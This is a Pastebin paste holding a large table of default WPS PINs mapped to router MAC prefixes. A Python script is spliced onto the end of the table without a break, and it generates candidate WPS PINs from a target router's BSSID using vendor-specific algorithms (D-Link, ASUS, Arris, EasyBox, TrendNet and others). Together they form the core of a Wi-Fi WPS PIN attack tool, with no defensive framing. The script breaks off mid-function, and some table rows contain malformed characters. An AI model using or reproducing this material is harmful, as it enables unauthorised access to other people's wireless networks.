Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- "64:66:6б"
- 80955969,"64:66:6С"
- 81195549,18:62:2C
- 81255786,34:8A:AE
- 81679580,40:F2:01
- 81874284,00:22:3F
- 81923052,CO:3F:0E
- 81923052,C0:3F:0E
- 82074403,00:0C:F1
- 82147776,D8:FB:5E
- 82147776,D4:7B:B0
- 82451776,34:8A:AE
- 82466811,40:4A:03
- 82617451,00:48:7A
- 82693745,F0:82:61
- 82721468,90:F6:52
- 83455975,34:8A:AE
- 83669336,00:19:15
- 83715837,00:05:CA
- 83720761,D0:D4:12
- 83720761,30:39:F2
- 83720761,74:88:8B
- 83720761,A4:52:6F
- 83720761,DC:0B:1A
- 84149051,90:F6:52
- 84238416,F0:82:61
- 84354639,94:44:52
- 84600024,00:AC:E0
- 84600024,08:3E:0C
- 84600024,E8:3E:FC
- 84625001,74:44:01
- 84652447,88:25:2C
- 84674186,74:D0:2B
- 84846264,B8:A3:86
- 84846264,BC:F6:85
- 84846264,C8:60:00
- 84846264,FC:75:16
- 84846264,1C:7E:E5
- 84846264,28:10:7B
- 84846264,84:C9:B2
- 84846264,CC:B2:55
- 84846264,14:D6:4D
- 84846264,C8:BE:19
- 84921462,90:F6:52
- 85286162,00:8E:F2
- 85444728,00:21:29
- 85444728,00:21:91
- 85794355,1C:BD:B9
- 85964411,00:24:17
- 85964411,00:26:CE
- 86530323,D4:BF:7F
- 86641807,28:28:5D
- 86893440,40:F2:01
- 87057777,00:1A:2B
- 87218808,00:1C:F0
- 87613863,D0:AE:EC
- 87650000,00:24:C9
- 87650000,00:26:42
- 87653801,34:8A:AE
- 87654321,38:72:C0
- 87938344,BC:EE:7B
- 87995802,D8:FB:5E
- 87995802,D4:7B:B0
- 88019776,D0:AE:EC
- 88218315,34:8A:AE
- 88257264,D0:AE:EC
- 88899900,7A:D1:5E
- 88921497,08:76:FF
- 88999000,7A:D1:5E
- 89201322,00:18:E7
- 89201322,00:1D:19
- 89201322,00:21:29
- 89201322,00:19:70
- 89290622,1C:7E:E5
- 90004463,BC:EE:7B
- 90025336,74:D0:2B
- 90524396,34:8A:AE
- 90803914,00:1C:F0
- 90832062,94:44:52
- 90849525,F4:EC:38
- 90849525,50:67:F0
- 90896141,00:1F:CE
- 90923155,98:FC:11
- 90992267,B8:A3:86
- 90992267,1C:7E:E5
- 90992267,14:D6:4D
- 90992267,28:10:7B
- 90992267,BC:F6:85
- 90992267,C8:BE:19
- 90992267,7C:03:4C
- 91215655,F8:D1:11
- 91453071,90:E6:BA
- 91560513,64:87:D7
- 91797195,90:F6:52
- 91913436,BC:76:70
- 92002043,74:D0:2B
- 92037032,54:A0:50
- 92141403,5C:33:8E
- 92148123,62:C7:14
- 92173646,00:18:E7
- 92173646,00:1D:19
- 92173646,00:21:29
- 92173646,00:19:70
- 92788200,14:A9:E3
- 92892767,54:04:A6
- 93484828,5C:33:8E
- 93504858,34:8A:AE
- 94237924,BC:EE:7B
- 94273874,00:18:E7
- 94453377,F4:EC:38
- 94831614,B8:9B:C9
- 95073778,34:8A:AE
- 95090511,00:26:CE
- 95127286,00:1F:CE
- 95517867,D0:AE:EC
- 95524429,A0:21:87
- 95707145,14:DA:E9
- 95750772,60:A4:4C
- 95862530,88:25:2C
- 95876911,30:39:F2
- 95876911,74:88:8B
- 95876911,A4:52:6F
- 95876911,DC:0B:1A
- 95918437,2C:AB:25
- 96288272,F0:82:61
- 96416659,00:0C:42
- 96416659,00:0E:E8
- 96416659,00:14:D1
- 96450983,F0:82:61
- 97079154,20:4E:7F
- 97418146,F0:82:61
- 97501305,34:8A:AE
- 97517810,AC:22:0B
- 97581406,1C:7E:E5
- 97861816,F0:82:61
- 97869216,90:F6:52
- 97888211,F4:EC:38
- 97888211,50:67:F0
- 98059449,54:67:51
- 98236183,10:7B:EF
- 98784851,98:97:D1
- 98848850,F4:EC:38
- 98848850,50:67:F0
- 98998452,F8:C0:91
- 99146724,E0:91:15
- 99146724,19:15:C1
- 99175913,2C:E4:12
- 99175913,7C:03:D8
- 99175913,D8:6C:E9
- 99175913,14:D6:4D
- 99175913,1C:7E:E5
- 99175913,28:10:7B
- 99175913,84:C9:B2
- 99175913,B8:A3:86
- 99175913,BC:F6:85
- 99175913,C8:BE:19
- 99175913,C8:D3:A3
- 99175913,CC:B2:55
- 99175913,FC:75:16
- 99175913,20:4E:7F
- 99175913,4C:17:EB
- 99175913,18:62:2C
- 99667890,74:D0:2B
- 99699314,34:8A:AE
- 46335461,E4:BE:ED
- 69778870,E0:60:66
- 21690299,E0:60:66
- 49159008,EC:08:6B
- 62930000,EC:43:F6
- 02276103,F8:C0:91
- 11446958,00:24:17
- 31011193,00:24:17
- 60418579,1C:7E:E5
- 22609298,1C:7E:E5
- 69382161,58:6D:8F
- 47158382,58:6D:8F
- 75332662,7C:4F:B5
- 72688656,7C:4F:B5
- 76916144,00:05:CA
- 73851738,00:05:CA
- 93395274,34:08:04
- 36022656,34:08:04
- 93645348,94:44:52
- 26023809,94:44:52
- 97744757,00:24:01
- 31011193,00:24:01
- 64637129,00:18:E7
- 22310298,00:18:E7
- 15537782,00:18:E7
- 66026402,00:1D:19
- 64637129,00:1D:19
- 22310298,00:1D:19
- 95221021,30:46:9A
- 30592407,30:46:9A
- 19482417,30:46:9A
- 82744458,00:21:29
- 64637129,00:21:29
- 22310298,00:21:29
- 27615126,74:44:01
- 10052648,74:44:01
- 00446747,74:44:01
- 88202907,D0:D4:12
- 73767053,D0:D4:12
- 43297917,D0:D4:12
- 19756967,D0:D4:12
- 18355604,D0:D4:12
- 16702738,D0:D4:12
- 16538061,D0:D4:12
- 13409708,D0:D4:12
- 76871559,D0:AE:EC
- 67791088,D0:AE:EC
- 58441640,D0:AE:EC
- 49570724,D0:AE:EC
- 46275288,D0:AE:EC
- 43419012,D0:AE:EC
- 36831678,D0:AE:EC
- 12263813,D0:AE:EC
- 06235307,D0:AE:EC
- 95048147,F4:EC:38
- 91726681,F4:EC:38
- 72344071,F4:EC:38
- 67971862,F4:EC:38
- 52594809,F4:EC:38
- 51660567,F4:EC:38
- 44947477,F4:EC:38
- 42768777,F4:EC:38
- 26599625,F4:EC:38
- 23380622,F4:EC:38
- 19634173,F4:EC:38
- 18674095,F4:EC:38
- 11288879,F4:EC:38
- 09165847,F4:EC:38
- 05884889,F4:EC:38
- 04898702,F4:EC:38
- 03419724,F4:EC:38
- 91345080,5C:33:8E
- 85776104,5C:33:8E
- 82848439,5C:33:8E
- 78963641,5C:33:8E
- 78614062,5C:33:8E
- 73968597,5C:33:8E
- 60387400,5C:33:8E
- 53842763,5C:33:8E
- 39657053,5C:33:8E
- 33685984,5C:33:8E
- 30999022,5C:33:8E
- 30414129,5C:33:8E
- 15986511,5C:33:8E
- 11765592,5C:33:8E
- 04581277,5C:33:8E
- 03015162,5C:33:8E
- 00764025,5C:33:8E
- 21464065,C8:D3:A3
- 20172527,B8:A3:86
- 43944552,7C:D3:4C
- 47392717,00:0C:C3
- 20172527,38:72:C0
- 18836486,38:72:C0
- 71537573,D8:61:94
- 16035232,F8:8E:85
- 19117652,F8:8E:85
- 20172527,F8:8E:85
- 71537573,EC:C1:46
- 71537573,E4:C1:46
- 95755212,DC:53:7C
- 64874487,DC:53:7C
- 58945537,DC:53:7C
- 79082020,DC:53:7C
- 79082020,5C:35:3B
- 58945537,5C:35:3B
- 64874487,5C:35:3B
- 95755212,5C:35:3B
- 31348034,E4:C1:46
- 10009321,E4:C1:46
- 11866428,40:4A:03
- 77775078,00:1A:2B
- 51340865,00:1A:2B
- 16495265,00:1A:2B
- 21143892,00:1A:2B
- 88478760,00:1A:2B
- 20329761,FC:F5:28
- 11967859,30:39:F2
- 13409708,30:39:F2
- 16538061,30:39:F2
- 16702738,30:39:F2
- 18355604,30:39:F2
- 19756967,30:39:F2
- 43297917,30:39:F2
- 47148826,30:39:F2
- 73767053,30:39:F2
- 88202907,30:39:F2
- 88202907,74:88:8B
- 73767053,74:88:8B
- 47148826,74:88:8B
- 43297917,74:88:8B
- 19756967,74:88:8B
- 18355604,74:88:8B
- 16702738,74:88:8B
- 16538061,74:88:8B
- 13409708,74:88:8B
- 11967859,74:88:8B
- 11967859,A4:52:6F
- 13409708,A4:52:6F
- 16538061,A4:52:6F
- 16702738,A4:52:6F
- 18355604,A4:52:6F
- 19756967,A4:52:6F
- 43297917,A4:52:6F
- 47148826,A4:52:6F
- 73767053,A4:52:6F
- 88202907,A4:52:6F
- 88202907,DC:0B:1A
- 73767053,DC:0B:1A
- 47148826,DC:0B:1A
- 43297917,DC:0B:1A
- 19756967,DC:0B:1A
- 18355604,DC:0B:1A
- 16702738,DC:0B:1A
- 16538061,DC:0B:1A
- 13409708,DC:0B:1A
- 11967859,DC:0B:1A
- zhao,F4:C7:14
- zhao,20:2B:C1
- zhao,30:87:30
- zhao,5C:4C:A9
- zhao,62:A8:E4
- zhao,62:B6:86
- zhao,62:C0:6F
- zhao,62:C6:1F
- zhao,62:C7:14
- zhao,62:E8:7B
- zhao,62:23:3D
- zhao,62:3C:E4
- zhao,62:3D:FF
- zhao,62:53:D4
- zhao,62:55:9C
- zhao,62:6B:D3
- zhao,62:7D:5E
- zhao,62:1D:67
- zhao,62:96:BF
- zhao,62:CD:BE
- zhao,62:CB:A8
- zhao,64:16:F0
- zhao,6A:08:8B
- zhao,6A:1D:67
- zhao,6A:23:3D
- zhao,6A:3D:FF
- zhao,6A:53:D4
- zhao,6A:55:9C
- zhao,6A:6B:D3
- zhao,6A:7D:5E
- zhao,6A:A8:E4
- zhao,6A:C0:6F
- zhao,6A:C6:1F
- zhao,6A:C7:14
- zhao,6A:CD:BE
- zhao,6A:D1:5E
- zhao,6A:D1:67
- zhao,6A:96:BF
- zhao,6A:CB:A8
- zhao,72:A8:E4
- zhao,72:C0:6F
- zhao,72:C7:14
- zhao,72:D1:5E
- zhao,72:E8:7B
- zhao,72:1D:67
- zhao,72:3C:E4
- zhao,72:3D:FF
- zhao,72:53:D4
- zhao,72:55:9C
- zhao,72:6B:D3
- zhao,72:7D:5E
- zhao,72:CB:A8
- zhao,72:CD:BE
- zhao,72:C6:1F
- zhao,72:96:BF
- zhao,9C:C1:72
- zhao,08:7A:4C
- zhao,0C:96:BF
- zhao,14:B9:68
- zhao,D0:7A:B5
- zhao,E8:CD:2D
- zhao,88:E3:AB
- zhao,20:08:ED
- zhao,08:63:61
- zhao,84:DB:AC
- zhao,00:22:75
- zhao,08:86:3B
- zhao,00:1C:DF
- zhao,00:A0:26
- zhao,50:57:F0
- zhao,00:A0:B6
- zhao,C8:D1:5E
- zhao,E4:7C:F9
- zhao,80:1F:02
- zhao,00:22:F7
- zhao,00:1D:1A
- zhao,C8:3A:35
- zhao,00:B0:0C
- zhao,08:10:75
- zhao,64:70:02
- zhao,B0:48:7A
- zhao,F8:D1:11
- zhao,A0:F3:C1
- zhao,F8:1A:67
- zhao,00:1F:1F
- zhao,00:26:CE
- zhao,00:26:5B
- zhao,68:B6:FC
- zhao,78:8D:F7
- zhao,BC:14:01
- zhao,68:B6:CF
- zhao,B4:75:0E
- zhao,00:1E:A6
- zhao,00:0C:F6
- zhao,B2:46:FC
- zhao,E2:41:36
- zhao,F8:1B:FA
- zhao,5C:A3:9D
- zhao,D8:6C:E9
- zhao,DC:71:44
- zhao,EC:23:3D
- zhao,CC:5D:4E
- zhao,00:15:77
- zhao,00:0A:52
- zhao,00:0C:B9
- zhao,04:C0:6F
- zhao,28:5F:DB
- zhao,34:6B:D3
- zhao,78:A6:89
- zhao,80:B6:86
- zhao,84:A8:E4
- zhao,B4:74:9F
- zhao,BC:76:70
- zhao,CC:96:A0
- zhao,F8:3D:FF
- trend,D8:EB:97
- trend,00:14:D1
- trend,3C:8C:F8
- dlink,C8:D3:A3
- arcady,84:9C:A6
- arcady,74:31:70
- arcady,88:03:55
- arcady,1C:C6:3C
- arcady,50:7E:5D
- arcady,00:12:BF
- zhao,90:8D:78
- dlink,90:8D:78
- 53890894,58:98:35
- 32184129,62:C7:14
- 96955908,"64:66:6б"
- 41719565,68:C0:6F
- 04161608,6A:1D:67
- 55748162,7A:D1:5E
- 000999888,7A:D1:5E
- 00948135,7C:4F:B5
- 44960452,80:1F:02
- 78100053,84:1B:5E
- 62327145,84:C9:B2
- 35065647,84:C9:B2
- 50455652,84:C9:B2
- 56892963,84:C9:B2
- 12808014,84:C9:B2
- 03526859,88:25:2C
- 74425648,88:25:2C
- 71259987,8C:CA:32
- 17035419,90:E6:BA
- 15094148,90:F6:52
- 16558205,90:F6:52
- 59179719,90:F6:52
- 61296879,90:F6:52
- 26412948,90:F6:52
- 86412728,90:F6:52
- 54027794,94:44:52
- 43944552,94:FE:F4
- 55132909,98:FC:11
- 93532655,98:FC:11
- 92442559,A0:21:87
- 01318104,A0:21:B7
- 20172527,AC:22:0B
- 77502896,AC:E8:7B
- 54335677,B0:48:7A
- 23659391,B4:74:9F
- 46264848,B8:A3:86
- 43433414,B8:A3:86
- 19217581,B8:A3:86
- 76229909,B8:A3:86
- 41613849,B8:9B:C9
- 63431919,BC:76:70
- 03917961,BC:F6:85
- 46264848,BC:F6:85
- 23469754,BC:F6:85
- 78985933,C0:C1:C0
- 04840954,C0:C1:C0
- 51419981,C4:3D:C7
- 20205287,C4:3D:C7
- 26252384,C4:3D:C7
- 26214702,C4:3D:C7
- 26013084,C4:3D:C7
- 01756401,C8:3A:35
- 11195207,C8:3A:35
- 46264848,C8:60:00
- 59900887,C8:D5:FE
- 53084682,CC:5D:4E
- 51565220,CC:5D:4E
- 28889601,CC:5D:4E
- 52469466,CC:5D:4E
- 12345670,CC:96:77
- 78985933,CC:96:77
- 25032918,CO:3F:0E
- 99956042,D4:BF:7F
- 21158766,DC:0B:1A
- 63865141,D8:5D:4C
- 42764199,E0:91:15
- 49945386,E0:91:F5
- 62987523,E0:CB:4E
- 1244046,E0:CB:4E
- 35737841,EC:43:F6
- "003900ее",E0:CB:4E
- "427152ее",E0:CB:4E
- 05556724,E0:CB:4E
- 35769576,F0:7D:68
- 40188492,F0:7D:68
- 26016573,F0:7D:68
- 03617984,F0:7D:68
- 47158382,F4:3E:61
- 69382161,F4:3E:61
- 12345670,F4:C7:14
- 51419981,F4:C7:14
- 28296720,F4:EC:38
- 77335449,F4:EC:38
- 34194614,F8:1A:67
- 53983466,F8:1A:67
- 25905892,F8:3D:FF
- 99956042,F8:C0:91
- 55651219,F8:D1:11
- 19024387,F8:D1:11
- 68102661,F8:D1:11
- 25888805,F8:D1:11
- 46264848,FC:75:16
- 38855566,FC:75:16
- 63396638,00:19:15
- 64103747,00:21:29
- 95891705,00:21:29
- 78202962,00:26:44
- 49780871,00:26:44
- 18836486,00:38:72
- 15471628,00:48:7A
- 30447028,00:0C:F1
- 15624697,00:1A:2B
- 66026402,00:1D:7E
- 88420707,00:1D:73
- 21207136,00:4F:62
- 20064525,50:67:F0
- 26599625,50:67:F0
- 18674095,50:67:F0
- 91726681,50:67:F0
- 44947477,50:67:F0
- 05884889,50:67:F0
- 8253600,50:67:F0
- 52594809,50:67:F0
- 51660567,50:67:F0
- 95048147,50:67:F0
- 19634173,50:67:F0
- 72344071,50:67:F0
- 03419724,50:67:F0
- 11288879,50:67:F0
- 67971862,50:67:F0
- 23380622,50:67:F0
- 42768777,50:67:F0
- 04898702,50:67:F0
- 09165847,50:67:F0
- 69382161,50:67:F0
- 21250491,08:86:3B
- 79205177,40:4A:03
- 45197079,20:4E:7F
- 85560130,00:1D:CE
- 12345678,38:72:C0
- 95374611,00:26:24
- 76971464,00:26:5A
- 17068161,1A:0B:40
- 16546615,00:18:02
- 20956455,08:10:74
- 48247818,00:22:3F
- 85521162,00:1F:1F
- 85521261,00:1F:1F
- 85544482,00:1F:1F
- 50540686,72:3D:FF
- 22643223,10:C6:1F
- 20700737,14:D6:4D
- 64535203,14:D6:4D
- 02917092,54:6E:FC
- 59900887,00:22:6B
- 13648947,00:4F:67
- 79412988,08:76:FF
- 31008167,14:D6:D4
- 37272937,00:1D:D1
- 28390046,00:26:5B
- 55349758,1C:BD:B9
- 70313376,1C:BD:B9
- 78091597,00:25:9C
- 42473534,4C:60:DE
- 22958143,4C:60:DE
- 53550866,4C:60:DE
- 49143836,00:1D:D2
- 58542132,00:1D:D2
- 14550126,00:1D:D2
- 51348014,00:23:69
- 44960452,00:24:A5
- 54080812,00:23:CD
- 21101021,50:46:5D
- 46540010,50:46:5D
- 31028325,54:04:A6
- 04561842,90:F6:52
- 00000001,E4:C1:46
- 47415270,E4:C1:46
- 00000001,68:F9:56
- 28113065,00:18:E7
- 47837249,00:18:E7
- 78091597,00:19:18
- 64637129,00:19:70
- 22310298,00:19:70
- 17084215,00:1A:A9
- 15624697,00:1A:A9
- 18836486,00:1A:A9
- 00622905,00:1E:58
- 14169809,00:1F:CE
- 68272159,00:1F:CE
- 82744458,00:21:91
- 84957986,00:22:B0
- 62969833,00:22:B0
- 10987957,00:24:01
- 34693841,00:24:8C
- 00005678,00:24:C9
- 12345670,00:26:18
- 00005678,00:26:42
- 17245685,00:26:5A
- 96119433,00:26:5A
- 57147680,00:26:5A
- 17539012,00:26:5A
- 11446958,00:26:CE
- 10770511,00:26:CE
- 32754544,00:26:CE
- 28161141,00:26:CE
- 09735651,00:26:CE
- 11508335,00:26:CE
- 11450764,00:26:CE
- 11515562,00:26:CE
- 11432401,00:26:CE
- 11455776,00:26:CE
- 11516705,00:26:CE
- 11509059,00:26:CE
- 11483465,00:26:CE
- 11480044,00:26:CE
- 16260870,00:26:CE
- 11472964,00:26:CE
- 19315195,00:26:CE
- 74623853,00:26:CE
- 85419124,00:26:CE
- 29667451,00:26:CE
- 30329591,00:26:CE
- 05051267,00:26:CE
- 94033182,00:26:CE
- 61101012,00:26:CE
- 15483607,00:26:E8
- 20172527,02:10:18
- 82426965,08:60:6E
- 67212101,08:60:6E
- 16797963,08:60:6E
- 04398554,08:60:6E
- 63112047,10:BF:48
- 58755808,10:BF:48
- 86689830,10:BF:48
- 08208422,10:BF:48
- 56681864,10:BF:48
- 20172527,14:14:4B
- 00265744,14:A9:E3
- 00288729,14:A9:E3
- 82912994,14:DA:E9
- 54170759,14:DA:E9
- 62327145,18:62:2C
- 94559118,18:62:2C
- 50896035,18:62:2C
- 25576672,18:62:2C
- 49912821,18:62:2C
- 53451514,18:62:2C
- 42764199,19:15:C1
- 10240762,1C:7E:E5
- 62327145,1C:7E:E5
- 46264848,1C:7E:E5
- 76229909,1C:7E:E5
- 47650237,1C:7E:E5
- 71544816,1C:BD:B9
- 88285931,1C:BD:B9
- 48347723,1C:BD:B9
- 18641486,1C:BD:B9
- 17230407,1C:BD:B9
- 25833591,1C:BD:B9
- 69457661,1C:BD:B9
- 21072246,20:4E:7F
- 21822704,20:4E:7F
- 21164965,20:4E:7F
- 19951683,20:4E:7F
- 62327145,20:4E:7F
- 46264848,28:10:7B
- 69475764,28:10:7B
- 20172527,28:10:7B
- 08206282,28:28:5D
- 70814668,28:28:5D
- 33332192,2C:39:96
- 73481959,2C:AB:25
- 22639660,2C:B0:5D
- 10864111,2C:E4:12
- 15624697,2C:E4:12
- 20172527,2C:E4:12
- 18576313,2C:E4:12
- 31957199,2C:E4:12
- 62327145,2C:E4:12
- 60126115,30:85:A9
- 44337483,34:08:04
- 89819661,34:08:04
- 35994305,34:8A:AE
- 51381288,34:8A:AE
- 63232493,34:8A:AE
- 57955438,34:8A:AE
- 20046965,34:8A:AE
- 68755218,34:8A:AE
- 79405096,34:8A:AE
- 26932934,34:8A:AE
- 18127515,34:8A:AE
- 50310579,34:8A:AE
- 46955777,34:8A:AE
- 26344386,34:8A:AE
- 46346711,34:8A:AE
- 51500276,34:8A:AE
- 46439093,34:8A:AE
- 08130174,34:8A:AE
- 60214041,34:8A:AE
- 81553303,34:8A:AE
- 18698251,34:8A:AE
- 67715428,34:8A:AE
- 00608626,34:8A:AE
- 10835678,34:8A:AE
- 69342509,34:8A:AE
- 09883994,34:8A:AE
- 60014016,34:8A:AE
- 83569524,34:8A:AE
- 93032414,34:8A:AE
- 41399699,34:8A:AE
- 32208214,34:8A:AE
- 63926996,34:8A:AE
- 77764416,34:8A:AE
- 45662461,34:8A:AE
- 67327263,34:8A:AE
- 15901057,34:8A:AE
- 90949708,34:8A:AE
- 13180324,34:8A:AE
- 19639741,34:8A:AE
- 57907482,34:8A:AE
- 87737059,34:8A:AE
- 41985342,34:8A:AE
- 86072953,34:8A:AE
- 85840539,34:8A:AE
- 64398723,34:8A:AE
- 78985933,38:60:77
- 02443003,40:16:7E
- 78159952,40:4A:03
- 94544121,40:4A:03
- 32725674,40:4A:03
- 39582355,40:4A:03
- 08597618,40:F2:01
- 36426034,40:F2:01
- 30344471,40:F2:01
- 04439868,40:F2:01
- 36869473,40:F2:01
- 72451021,40:F2:01
- 37960216,48:5B:39
- 78091597,4C:17:EB
- 32600087,50:67:A0
- 51504472,50:46:5D
- 52418501,54:A0:50
- 22435842,54:A0:50
- 03243008,54:A0:50
- 12430246,54:A0:50
- 23073029,54:A0:50
- 39028983,54:04:A6
- 73399612,54:04:A6
- 76729829,54:04:A6
- 10556405,58:6D:8F
- 00145022,60:A4:4C
- 91502100,60:A4:4C
- 23085008,60:A4:4C
- 00060301,60:A4:4C
- 27705759,60:A4:4C
- 43021024,60:A4:4C
- 81331055,5C:D9:98
- 96955908,"64:66:6С"#!/usr/bin/env python3
- # -*- coding: utf-8 -*-
- import sys
- import subprocess
- import os
- import tempfile
- import shutil
- import re
- import codecs
- import socket
- import pathlib
- import time
- from datetime import datetime
- import collections
- import statistics
- from pathlib import Path
- from typing import Dict
- import csv
- class NetworkAddress:
- def __init__(self, mac):
- if isinstance(mac, int):
- self._int_repr = mac
- self._str_repr = self._int2mac(mac)
- elif isinstance(mac, str):
- self._str_repr = mac.replace('-', ':').replace('.', ':').upper()
- self._int_repr = self._mac2int(mac)
- else:
- raise ValueError('MAC address must be string or integer')
- @property
- def string(self):
- return self._str_repr
- @string.setter
- def string(self, value):
- self._str_repr = value
- self._int_repr = self._mac2int(value)
- @property
- def integer(self):
- return self._int_repr
- @integer.setter
- def integer(self, value):
- self._int_repr = value
- self._str_repr = self._int2mac(value)
- def __int__(self):
- return self.integer
- def __str__(self):
- return self.string
- def __iadd__(self, other):
- self.integer += other
- def __isub__(self, other):
- self.integer -= other
- def __eq__(self, other):
- return self.integer == other.integer
- def __ne__(self, other):
- return self.integer != other.integer
- def __lt__(self, other):
- return self.integer < other.integer
- def __gt__(self, other):
- return self.integer > other.integer
- @staticmethod
- def _mac2int(mac):
- return int(mac.replace(':', ''), 16)
- @staticmethod
- def _int2mac(mac):
- mac = hex(mac).split('x')[-1].upper()
- mac = mac.zfill(12)
- mac = ':'.join(mac[i:i+2] for i in range(0, 12, 2))
- return mac
- def __repr__(self):
- return 'NetworkAddress(string={}, integer={})'.format(
- self._str_repr, self._int_repr)
- class WPSpin:
- """WPS pin generator"""
- def __init__(self):
- self.ALGO_MAC = 0
- self.ALGO_EMPTY = 1
- self.ALGO_STATIC_DB = 2
- self.algos = {'pin24': {'name': '24-bit PIN', 'mode': self.ALGO_MAC, 'gen': self.pin24},
- 'pin28': {'name': '28-bit PIN', 'mode': self.ALGO_MAC, 'gen': self.pin28},
- 'pin32': {'name': '32-bit PIN', 'mode': self.ALGO_MAC, 'gen': self.pin32},
- 'pinDLink': {'name': 'D-Link PIN', 'mode': self.ALGO_MAC, 'gen': self.pinDLink},
- 'pinDLink1': {'name': 'D-Link PIN +1', 'mode': self.ALGO_MAC, 'gen': self.pinDLink1},
- 'pinASUS': {'name': 'ASUS PIN', 'mode': self.ALGO_MAC, 'gen': self.pinASUS},
- 'pinAirocon': {'name': 'Airocon Realtek', 'mode': self.ALGO_MAC, 'gen': self.pinAirocon},
- 'pinEasybox': {'name': 'EasyBox', 'mode': self.ALGO_MAC, 'gen': self.pinEasybox},
- 'pinArris': {'name': 'Arris', 'mode': self.ALGO_MAC, 'gen': self.pinArris},
- 'pinTrendNet': {'name': 'TrendNet', 'mode': self.ALGO_MAC, 'gen': self.pinTrendNet},
- # Static pin algos
- 'pinGeneric': {'name': 'Static', 'mode': self.ALGO_STATIC_DB, 'gen': lambda mac: 1234567, 'static': []},
- 'pinEmpty': {'name': 'Empty PIN', 'mode': self.ALGO_EMPTY, 'gen': lambda mac: ''}}
- @staticmethod
- def checksum(pin):
- """
- Standard WPS checksum algorithm.
- @pin — A 7 digit pin to calculate the checksum for.
- Returns the checksum value.
- """
- accum = 0
- while pin:
- accum += (3 * (pin % 10))
- pin = int(pin / 10)
- accum += (pin % 10)
- pin = int(pin / 10)
- return (10 - accum % 10) % 10
- def generate(self, algo, mac):
- """
- WPS pin generator
- @algo — the WPS pin algorithm ID
- Returns the WPS pin string value
- """
- mac = NetworkAddress(mac)
- if algo not in self.algos:
- raise ValueError('Invalid WPS pin algorithm')
- pin = self.algos[algo]['gen'](mac)
- new_algos = {'pinEmpty', 'pinEasybox', 'pinArris', 'pinTrendNet'}
- if algo in new_algos:
- return pin
- pin = pin % 10000000
- pin = str(pin) + str(self.checksum(pin))
- return pin.zfill(8)
- def getSuggested(self, mac):
- """
- Get all suggested WPS pin's for single MAC
- """
- algos = self._suggest(mac)
- res = []
- for ID in algos:
- algo = self.algos[ID]
- item = {}
- item['id'] = ID
- if algo['mode'] == self.ALGO_STATIC_DB:
- for pins_static in self.algos['pinGeneric']['static']:
- if pins_static.isdigit():
- new_item = {'name': 'Static PIN DB', 'pin': pins_static}
- res.append(new_item)
- else:
- item['name'] = algo['name']
- item['pin'] = self.generate(ID, mac)
- res.append(item)
- self.algos['pinGeneric']['static'].clear()
- return res
- def getSuggestedList(self, mac):
- """
- Get all suggested WPS pin's for single MAC as list
- """
- algos = self._suggest(mac)
- res = []
- for algo in algos:
- res.append(self.generate(algo, mac))
- return res
- def getLikely(self, mac):
- res = self.getSuggestedList(mac)
- if res:
- return res[0]
- else:
- return None
- def append_from_pin_csv(self, pin_file_path, mac):
- with open(pin_file_path, newline='') as csvfile:
- reader = csv.reader(csvfile)
- for row in reader:
- if mac.startswith(row[1]):
- self.algos['pinGeneric']['static'].append(row[0])
- def _suggest(self, mac):
- """
- Get algos suggestions for single MAC
- All the algos will be returned since they can work sometimes
- The static pins will be added only if they are included in the csv for that specific mac
- Returns the algo ID
- """
- self.append_from_pin_csv(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'pins.csv'), mac.upper())
- res = []
- for algo_id in self.algos:
- res.append(algo_id)
- return res
- def pinTrendNet(self, bssid):
- try:
- last_3 = bssid.string.replace(':', '')[-6:]
- merge = last_3[4:] + last_3[2:4] + last_3[:2]
- string = int(merge, 16) % 10000000
- pin = 10 * string
- pin_with_checksum = pin + self.checksum(pin)
- return f"{pin_with_checksum:08d}"
- except ValueError:
- return "12345670"
- def pinEasybox(self, bssid):
- try:
- last_two = bssid.string.replace(':', '')[-4:]
- sn = int(last_two, 16)
- snstr = f"{sn:05d}"
- mac = [int(c, 16) for c in last_two]
- sn_digits = [int(c) for c in snstr[1:]]
- k1 = (sum(sn_digits[:2]) + sum(mac[2:])) % 16
- k2 = (sum(sn_digits[2:]) + sum(mac[:2])) % 16
- hpin = [
- k1 ^ sn_digits[3],
- k1 ^ sn_digits[2],
- k2 ^ mac[1],
- k2 ^ mac[2],
- mac[2] ^ sn_digits[3],
- mac[3] ^ sn_digits[2],
- k1 ^ sn_digits[1]
- ]
- hpin_str = ''.join(f"{x:X}" for x in hpin)
- hpinint = int(hpin_str, 16) % 10000000
- return f"{hpinint:07d}{self.checksum(hpinint)}"
- except ValueError:
- return 12345670
- def pinArris(self, bssid):
- def fib_gen(n, memo={}):
- if n in memo:
- return memo[n]
- if n in (0, 1, 2):
- return 1
- memo[n] = fib_gen(n - 1, memo) + fib_gen(n - 2, memo)
- return memo[n]
- macs = bssid.string.split(":")
- array_macs = [int(mac, 16) for mac in macs]
- fibnum = []
- for i, mac in enumerate(array_macs):
- adjusted_mac = mac
- counter = 0
- if adjusted_mac > 30:
- while adjusted_mac > 31:
- adjusted_mac -= 16
- counter += 1
- if counter == 0 and adjusted_mac < 3:
- adjusted_mac = sum(array_macs) - adjusted_mac
- adjusted_mac &= 0xff
- adjusted_mac = (adjusted_mac % 28) + 3
- fibnum.append(fib_gen(adjusted_mac) + (fib_gen(counter) if counter else 0))
- fibsum = sum(fib * fib_gen(i + 16) for i, fib in enumerate(fibnum)) + sum(array_macs)
- fibsum = (fibsum % 10000000 * 10) + self.checksum(fibsum)
- return f"{fibsum:08d}"
- def pin24(self, mac):
- return mac.integer & 0xFFFFFF
- def pin28(self, mac):
- return mac.integer & 0xFFFFFFF
- def pin32(self, mac):
- return mac.integer % 0x100000000
- def pinDLink(self, mac):
- # Get the NIC part
- nic = mac.integer & 0xFFFFFF
- # Calculating pin
- pin = nic ^ 0x55AA55
- pin ^= (((pin & 0xF) << 4) +
- ((pin & 0xF) << 8) +
- ((pin & 0xF) << 12) +
- ((pin & 0xF) << 16) +
- ((pin & 0xF) << 20))
- pin %= int(10e6)
- if pin < int(10e5):
- pin += ((pin % 9) * int(10e5)) + int(10e5)
- return pin
- def pinDLink1(self, mac):
- mac.integer += 1
- return self.pinDLink(mac)
- def pinASUS(self, mac):
- b = [int(i, 16) for i in mac.string.split(':')]
- pin = ''
- for i in range(7):
- pin += str((b[i % 6] + b[5]) % (10 - (i + b[1] + b[2] + b[3] + b[4] + b[5]) % 7))
- return int(pin)
- def pinAirocon(self, mac):
- b = [int(i, 16) for i in mac.string.split(':')]
- pin = ((b[0] + b[1]) % 10)\
- + (((b[5] + b[0]) % 10) * 10)\
- + (((b[4] + b[5]) % 10) * 100)\
